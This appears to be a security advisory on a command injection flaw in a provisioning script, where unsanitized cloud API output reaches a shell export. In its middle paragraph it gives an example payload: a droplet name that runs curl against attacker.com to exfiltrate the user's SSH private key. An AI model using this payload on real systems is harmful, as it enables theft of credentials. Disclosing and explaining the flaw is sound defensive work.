GitHub Security: Command Injection Vulnerability in provision.sh via cloud_headless_env Export Parsing
A critical command injection vulnerability has been identified in a GitHub repository's provisioning script, exposing systems to potential remote code execution. The flaw resides in the `sh/e2e/lib/provision.sh` file, specifically in lines 60-62, where environment variable export parsing logic fails to sanitize captured values. The regex pattern, designed to capture variable names and values, does not escape shell metacharacters, allowing malicious content to be executed directly by the `export` command.
The vulnerability is triggered through the `cloud_headless_env` function. If a cloud driver's API response is compromised—either via a malicious cloud API return or a man-in-the-middle (MITM) attack—the function can output tainted data into environment variable values. The insecure regex captures this unsanitized content into `BASH_REMATCH[2]`, which is then passed directly to the shell for evaluation. An example exploit demonstrates the risk: an attacker could craft a droplet name like `foo\$(curl attacker.com/exfil?data=\$(cat ~/.ssh/id_rsa))\`, which, when captured and exported, would execute the embedded command to exfiltrate sensitive SSH keys.
This flaw represents a significant supply chain risk for any deployment pipeline or CI/CD system utilizing this provisioning script. The attack vector leverages trusted cloud infrastructure APIs as an entry point, potentially allowing an attacker to pivot from a compromised cloud account to executing arbitrary code on the provisioning host. The lack of input validation and sanitization in a core infrastructure script underscores a critical oversight in secure coding practices for DevOps tooling, necessitating immediate review and patching of any dependent systems.